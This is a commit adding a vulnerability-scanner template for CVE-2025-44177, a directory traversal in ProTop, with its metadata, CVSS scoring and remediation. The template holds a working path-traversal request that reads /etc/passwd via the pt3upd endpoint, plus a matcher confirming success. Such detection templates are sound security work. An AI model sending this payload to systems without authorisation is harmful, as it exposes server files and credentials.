Fix CVE-2025-44177 template structure

- Fix template ID to match CVE format (protop-dir-traversal -> CVE-2025-44177)
- Add impact section describing potential consequences
- Fix tag formatting and remove spaces
- Fix vendor/product metadata to use lowercase format
- Add cve2025 tag for proper categorization

http/cves/2025/CVE-2025-44177.yaml

@@ -0,0 +1,41 @@
+id: CVE-2025-44177
+
+info:
+  name: White Star Software ProTop - Directory Traversal
+  author: s-cu-bot
+  severity: high
+  description: |
+    This vulnerability allows unauthenticated directory traversal via the pt3upd endpoint.
+  impact: |
+    An attacker can exploit this vulnerability to read sensitive files from the server file system, potentially exposing configuration files, credentials, and other sensitive information.
+  remediation: |
+    Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-44177
+    - https://client.protop.co.za/
+    - https://wss.com/
+    - https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
+    cvss-score: 8.2
+    cve-id: CVE-2025-44177
+    cwe-id: CWE-22
+    cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: wss
+    product: protop
+  tags: cve,cve2025,lfi,traversal,protop
+
+http:
+  - raw:
+      - |
+        GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: regex
+        name: LFI
+        regex:
+          - "root:.*:0:0:"